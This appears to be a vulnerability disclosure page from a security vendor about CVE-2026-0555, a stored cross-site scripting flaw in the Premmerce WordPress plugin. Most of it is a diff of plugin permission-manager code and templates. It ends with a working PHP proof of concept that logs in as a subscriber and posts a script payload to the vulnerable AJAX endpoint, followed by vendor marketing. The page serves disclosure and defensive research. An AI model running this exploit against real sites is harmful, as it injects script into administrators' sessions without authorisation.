+                $this->_fs->get_text_inline( 'To ensure compatibility and avoid conflicts with your installed plugins and themes.', 'permissions-events_tooltip' ),
+                25,
+                true,
+                $is_on_by_default,
+                $load_default_from_storage
+            );
+        }
+
+        /**
+         * @param bool $load_default_from_storage
+         *
+         * @return array
+         */
+        function get_user_permission( $load_default_from_storage = false ) {
+            return $this->get_permission(
+                self::PERMISSION_USER,
+                'admin-users',
+                $this->_fs->get_text_inline( 'View Basic Profile Info', 'permissions-profile' ),
+                $this->_fs->get_text_inline( 'Your WordPress user's: first & last name, and email address', 'permissions-profile_desc' ),
+                $this->_fs->get_text_inline( 'Never miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.', 'permissions-profile_tooltip' ),
+                5,
+                false,
+                true,
+                $load_default_from_storage
+            );
+        }
+
+        #endregion
+
+        #--------------------------------------------------------------------------------
+        #region Optional Permissions
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @return array[]
+         */
+        function get_newsletter_permission() {
+            return $this->get_permission(
+                self::PERMISSION_NEWSLETTER,
+                'email-alt',
+                $this->_fs->get_text_inline( 'Newsletter', 'permissions-newsletter' ),
+                $this->_fs->get_text_inline( 'Updates, announcements, marketing, no spam', 'permissions-newsletter_desc' ),
+                '',
+                15
+            );
+        }
+
+        #endregion
+
+        #--------------------------------------------------------------------------------
+        #region Permissions Storage
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_extensions_tracking_allowed( $blog_id = null ) {
+            return $this->is_permission_allowed( self::PERMISSION_EXTENSIONS, ! $this->_fs->is_premium(), $blog_id );
+        }
+
+        /**
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_essentials_tracking_allowed( $blog_id = null ) {
+            return $this->is_permission_allowed( self::PERMISSION_ESSENTIALS, true, $blog_id );
+        }
+
+        /**
+         * @param bool $default
+         *
+         * @return bool
+         */
+        function is_diagnostic_tracking_allowed( $default = true ) {
+            return $this->is_premium_context() ?
+                $this->is_permission_allowed( self::PERMISSION_DIAGNOSTIC, $default ) :
+                $this->is_permission_allowed( self::PERMISSION_SITE, $default );
+        }
+
+        /**
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_homepage_url_tracking_allowed( $blog_id = null ) {
+            return $this->is_permission_allowed( $this->get_site_permission_name(), true, $blog_id );
+        }
+
+        /**
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function update_site_tracking( $is_enabled, $blog_id = null, $only_if_not_set = false ) {
+            $permissions = $this->get_site_tracking_permission_names();
+
+            $result = true;
+            foreach ( $permissions as $permission ) {
+                if ( ! $only_if_not_set || ! $this->is_permission_set( $permission, $blog_id ) ) {
+                    $result = ( $result && $this->update_permission_tracking_flag( $permission, $is_enabled, $blog_id ) );
+                }
+            }
+
+            return $result;
+        }
+
+        /**
+         * @param string   $permission
+         * @param bool     $default
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_permission_allowed( $permission, $default = false, $blog_id = null ) {
+            if ( ! self::is_supported_permission( $permission ) ) {
+                return $default;
+            }
+
+            return $this->is_permission( $permission, true, $blog_id );
+        }
+
+        /**
+         * @param string   $permission
+         * @param bool     $is_allowed
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_permission( $permission, $is_allowed, $blog_id = null ) {
+            if ( ! self::is_supported_permission( $permission ) ) {
+                return false;
+            }
+
+            $tag = "is_{$permission}_tracking_allowed";
+
+            return ( $is_allowed === $this->_fs->apply_filters(
+                    $tag,
+                    $this->_storage->get(
+                        $tag,
+                        $this->get_permission_default( $permission ),
+                        $blog_id,
+                        FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
+                    )
+                ) );
+        }
+
+        /**
+         * @param string   $permission
+         * @param int|null $blog_id
+         *
+         * @return bool
+         */
+        function is_permission_set( $permission, $blog_id = null ) {
+            $tag = "is_{$permission}_tracking_allowed";
+
+            $permission = $this->_storage->get(
+                $tag,
+                null,
+                $blog_id,
+                FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
+            );
+
+            return is_bool( $permission );
+        }
+
+        /**
+         * @param string[] $permissions
+         * @param bool     $is_allowed
+         *
+         * @return bool `true` if all given permissions are in sync with `$is_allowed`.
+         */
+        function are_permissions( $permissions, $is_allowed, $blog_id = null ) {
+            foreach ( $permissions as $permission ) {
+                if ( ! $this->is_permission( $permission, $is_allowed, $blog_id ) ) {
+                    return false;
+                }
+            }
+
+            return true;
+        }
+
+        /**
+         * @param string   $permission
+         * @param bool     $is_enabled
+         * @param int|null $blog_id
+         *
+         * @return bool `false` if permission not supported or `$is_enabled` is not a boolean.
+         */
+        function update_permission_tracking_flag( $permission, $is_enabled, $blog_id = null ) {
+            if ( is_bool( $is_enabled ) && self::is_supported_permission( $permission ) ) {
+                $this->_storage->store(
+                    "is_{$permission}_tracking_allowed",
+                    $is_enabled,
+                    $blog_id,
+                    FS_Storage::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED
+                );
+
+                return true;
+            }
+
+            return false;
+        }
+
+        /**
+         * @param array<string,bool> $permissions
+         */
+        function update_permissions_tracking_flag( $permissions ) {
+            foreach ( $permissions as $permission => $is_enabled ) {
+                $this->update_permission_tracking_flag( $permission, $is_enabled );
+            }
+        }
+
+        #endregion
+
+
+        /**
+         * @param string $permission
+         *
+         * @return bool
+         */
+        function get_permission_default( $permission ) {
+            if (
+                $this->_fs->is_premium() &&
+                self::PERMISSION_EXTENSIONS === $permission
+            ) {
+                return false;
+            }
+
+            // All permissions except for the extensions in paid version are on by default when the user opts in to usage tracking.
+            return true;
+        }
+
+        /**
+         * @return string
+         */
+        function get_site_permission_name() {
+            return $this->is_premium_context() ?
+                self::PERMISSION_ESSENTIALS :
+                self::PERMISSION_SITE;
+        }
+
+        /**
+         * @return string[]
+         */
+        function get_site_tracking_permission_names() {
+            return $this->is_premium_context() ?
+                array(
+                    FS_Permission_Manager::PERMISSION_ESSENTIALS,
+                    FS_Permission_Manager::PERMISSION_EVENTS,
+                ) :
+                array( FS_Permission_Manager::PERMISSION_SITE );
+        }
+
+        #--------------------------------------------------------------------------------
+        #region Rendering
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param array $permission
+         */
+        function render_permission( array $permission ) {
+            fs_require_template( 'connect/permission.php', $permission );
+        }
+
+        /**
+         * @param array $permissions_group
+         */
+        function render_permissions_group( array $permissions_group ) {
+            $permissions_group[ 'fs' ] = $this->_fs;
+
+            fs_require_template( 'connect/permissions-group.php', $permissions_group );
+        }
+
+        function require_permissions_js() {
+            fs_require_once_template( 'js/permissions.php', $params );
+        }
+
+        #endregion
+
+        #--------------------------------------------------------------------------------
+        #region Helper Methods
+        #--------------------------------------------------------------------------------
+
+        /**
+         * @param string $id
+         * @param string $dashicon
+         * @param string $label
+         * @param string $desc
+         * @param string $tooltip
+         * @param int    $priority
+         * @param bool   $is_optional
+         * @param bool   $is_on_by_default
+         * @param bool   $load_from_storage
+         *
+         * @return array
+         */
+        private function get_permission(
+            $id,
+            $dashicon,
+            $label,
+            $desc,
+            $tooltip = '',
+            $priority = 10,
+            $is_optional = false,
+            $is_on_by_default = true,
+            $load_from_storage = false
+        ) {
+            $is_on = $load_from_storage ?
+                $this->is_permission_allowed( $id, $is_on_by_default ) :
+                $is_on_by_default;
+
+            return array(
+                'id'         => $id,
+                'icon-class' => $this->_fs->apply_filters( "permission_{$id}_icon", "dashicons dashicons-{$dashicon}" ),
+                'label'      => $this->_fs->apply_filters( "permission_{$id}_label", $label ),
+                'tooltip'    => $this->_fs->apply_filters( "permission_{$id}_tooltip", $tooltip ),
+                'desc'       => $this->_fs->apply_filters( "permission_{$id}_desc", $desc ),
+                'priority'   => $this->_fs->apply_filters( "permission_{$id}_priority", $priority ),
+                'optional'   => $is_optional,
+                'default'    => $this->_fs->apply_filters( "permission_{$id}_default", $is_on ),
+            );
+        }
+
+        /**
+         * @param array $permissions
+         *
+         * @return array[]
+         */
+        private function get_sorted_permissions_by_priority( array $permissions ) {
+            // Allow filtering of the permissions list.
+            $permissions = $this->_fs->apply_filters( 'permission_list', $permissions );
+
+            // Sort by priority.
+            uasort( $permissions, 'fs_sort_by_priority' );
+
+            return $permissions;
+        }
+
+        #endregion
     }
 No newline at end of file
--- a/premmerce/freemius/includes/supplements/fs-migration-2.5.1.php
+++ b/premmerce/freemius/includes/supplements/fs-migration-2.5.1.php
@@ -1,31 +1,31 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2015, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       2.5.1
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    if ( ! function_exists( 'fs_migrate_251' ) ) {
-        function fs_migrate_251( Freemius $fs, $install_by_blog_id ) {
-            $permission_manager = FS_Permission_Manager::instance( $fs );
-
-            /**
-             * @var FS_Site $install
-             */
-            foreach ( $install_by_blog_id as $blog_id => $install ) {
-                if ( true === $install->is_disconnected ) {
-                    $permission_manager->update_site_tracking(
-                        false,
-                        ( 0 == $blog_id ) ? null : $blog_id,
-                        // Update only if permissions are not yet set.
-                        true
-                    );
-                }
-            }
-        }
+<?php
+    /**
+     * @package     Freemius
+     * @copyright   Copyright (c) 2015, Freemius, Inc.
+     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+     * @since       2.5.1
+     */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+    if ( ! function_exists( 'fs_migrate_251' ) ) {
+        function fs_migrate_251( Freemius $fs, $install_by_blog_id ) {
+            $permission_manager = FS_Permission_Manager::instance( $fs );
+
+            /**
+             * @var FS_Site $install
+             */
+            foreach ( $install_by_blog_id as $blog_id => $install ) {
+                if ( true === $install->is_disconnected ) {
+                    $permission_manager->update_site_tracking(
+                        false,
+                        ( 0 == $blog_id ) ? null : $blog_id,
+                        // Update only if permissions are not yet set.
+                        true
+                    );
+                }
+            }
+        }
     }
 No newline at end of file
--- a/premmerce/freemius/templates/connect/permission.php
+++ b/premmerce/freemius/templates/connect/permission.php
@@ -1,43 +1,43 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2022, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       2.5.1
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    /**
-     * @var array $VARS
-     * @var array $permission {
-     * @type string $id
-     * @type bool   $default
-     * @type string $icon-class
-     * @type bool   $optional
-     * @type string $label
-     * @type string $tooltip
-     * @type string $desc
-     * }
-     */
-    $permission = $VARS;
-
-    $is_permission_on = ( ! isset( $permission['default'] ) || true === $permission['default'] );
-?>
-<li id="fs_permission_<?php echo esc_attr( $permission['id'] ) ?>" data-permission-id="<?php echo esc_attr( $permission['id'] ) ?>"
-    class="fs-permission fs-<?php echo esc_attr( $permission['id'] ); ?><?php echo ( ! $is_permission_on ) ? ' fs-disabled' : ''; ?>">
-    <i class="<?php echo esc_attr( $permission['icon-class'] ); ?>"></i>
-    <?php if ( isset( $permission['optional'] ) && true === $permission['optional'] ) : ?>
-        <div class="fs-switch fs-small fs-round fs-<?php echo $is_permission_on ? 'on' : 'off' ?>">
-            <div class="fs-toggle"></div>
-        </div>
-    <?php endif ?>
-
-    <div class="fs-permission-description">
-        <span<?php if ( ! empty( $permission['tooltip'] ) ) : ?> class="fs-tooltip-trigger"<?php endif ?>><?php echo esc_html( $permission['label'] ); ?><?php if ( ! empty( $permission['tooltip'] ) ) : ?><i class="dashicons dashicons-editor-help"><span class="fs-tooltip" style="width: 200px"><?php echo esc_html( $permission['tooltip'] ) ?></span></i><?php endif ?></span>
-
-        <p><?php echo esc_html( $permission['desc'] ); ?></p>
-    </div>
+<?php
+    /**
+     * @package     Freemius
+     * @copyright   Copyright (c) 2022, Freemius, Inc.
+     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+     * @since       2.5.1
+     */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+    /**
+     * @var array $VARS
+     * @var array $permission {
+     * @type string $id
+     * @type bool   $default
+     * @type string $icon-class
+     * @type bool   $optional
+     * @type string $label
+     * @type string $tooltip
+     * @type string $desc
+     * }
+     */
+    $permission = $VARS;
+
+    $is_permission_on = ( ! isset( $permission['default'] ) || true === $permission['default'] );
+?>
+<li id="fs_permission_<?php echo esc_attr( $permission['id'] ) ?>" data-permission-id="<?php echo esc_attr( $permission['id'] ) ?>"
+    class="fs-permission fs-<?php echo esc_attr( $permission['id'] ); ?><?php echo ( ! $is_permission_on ) ? ' fs-disabled' : ''; ?>">
+    <i class="<?php echo esc_attr( $permission['icon-class'] ); ?>"></i>
+    <?php if ( isset( $permission['optional'] ) && true === $permission['optional'] ) : ?>
+        <div class="fs-switch fs-small fs-round fs-<?php echo $is_permission_on ? 'on' : 'off' ?>">
+            <div class="fs-toggle"></div>
+        </div>
+    <?php endif ?>
+
+    <div class="fs-permission-description">
+        <span<?php if ( ! empty( $permission['tooltip'] ) ) : ?> class="fs-tooltip-trigger"<?php endif ?>><?php echo esc_html( $permission['label'] ); ?><?php if ( ! empty( $permission['tooltip'] ) ) : ?><i class="dashicons dashicons-editor-help"><span class="fs-tooltip" style="width: 200px"><?php echo esc_html( $permission['tooltip'] ) ?></span></i><?php endif ?></span>
+
+        <p><?php echo esc_html( $permission['desc'] ); ?></p>
+    </div>
 </li>
 No newline at end of file
--- a/premmerce/freemius/templates/connect/permissions-group.php
+++ b/premmerce/freemius/templates/connect/permissions-group.php
@@ -1,72 +1,72 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2022, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       2.5.1
-     */
-
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    /**
-     * @var array     $VARS
-     *
-     * @var array $permission_group {
-     *  @type Freemius $fs
-     *  @type string   $id
-     *  @type string   $desc
-     *  @type array    $prompt
-     *  @type array    $permissions
-     *  @type bool     $is_enabled
-     * }
-     */
-    $permission_group = $VARS;
-
-    $fs = $permission_group[ 'fs' ];
-
-    $permission_manager = FS_Permission_Manager::instance( $fs );
-
-    $opt_out_text = $fs->get_text_x_inline( 'Opt Out', 'verb', 'opt-out' );
-    $opt_in_text  = $fs->get_text_x_inline( 'Opt In', 'verb', 'opt-in' );
-
-    if ( empty( $permission_group[ 'prompt' ] ) ) {
-        $is_enabled = false;
-
-        foreach ( $permission_group[ 'permissions' ] as $permission ) {
-            if ( true === $permission[ 'default' ] ) {
-                // Even if one of the permissions is on, treat as if the entire group is on.
-                $is_enabled = true;
-                break;
-            }
-        }
-    } else {
-        $is_enabled = ( isset( $permission_group['is_enabled'] ) && true === $permission_group['is_enabled'] );
-    }
-?>
-<div class="fs-permissions-section fs-<?php echo esc_attr( $permission_group[ 'id' ] ) ?>-permissions">
-    <div>
-        <div class="fs-permissions-section--header">
-            <a class="fs-group-opt-out-button"
-                data-type="<?php echo esc_attr( $permission_group['type'] ) ?>"
-                data-group-id="<?php echo esc_attr( $permission_group[ 'id' ] ) ?>"
-                data-is-enabled="<?php echo $is_enabled ? 'true' : 'false' ?>"
-                href="#"><?php echo esc_html( $is_enabled ? $opt_out_text : $opt_in_text ) ?></a>
-            <span class="fs-permissions-section--header-title"><?php
-                    // The title is already HTML-escape

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0555 - Premmerce <= 1.3.20 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'premmerce_wizard_actions' AJAX Endpoint

<?php
/**
 * Proof of Concept for CVE-2026-0555
 * Requires valid subscriber credentials
 */

$target_url = 'https://vulnerable-site.com'; // Change to target WordPress site
$username = 'subscriber_user'; // Valid subscriber username
$password = 'subscriber_pass'; // Valid subscriber password

// Malicious JavaScript payload to execute in admin context
$payload = '<script>alert("XSS via CVE-2026-0555");</script>';

// Initialize cURL session for authentication
$ch = curl_init();

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt', // Store session cookies
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false, // Disable for testing only
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Verify authentication by checking for admin bar or redirect
if (strpos($response, 'wp-admin-bar') === false && strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 3: Exploit the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
    'action' => 'premmerce_wizard_actions', // Vulnerable AJAX action
    'state' => $payload, // Unsanitized parameter accepting XSS payload
    'nonce' => '' // Nonce may not be required due to missing capability check
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query($exploit_fields),
    CURLOPT_REFERER => $target_url . '/wp-admin/' // Simulate admin context
]);

$ajax_response = curl_exec($ch);

// Step 4: Check for successful exploitation
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "Payload injected successfully.n";
    echo "When an administrator visits the Premmerce Wizard admin page, the script will execute.n";
    echo "Response: " . htmlspecialchars(substr($ajax_response, 0, 500)) . "n";
} else {
    echo "Exploit failed. HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}

curl_close($ch);

// Clean up cookie file
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School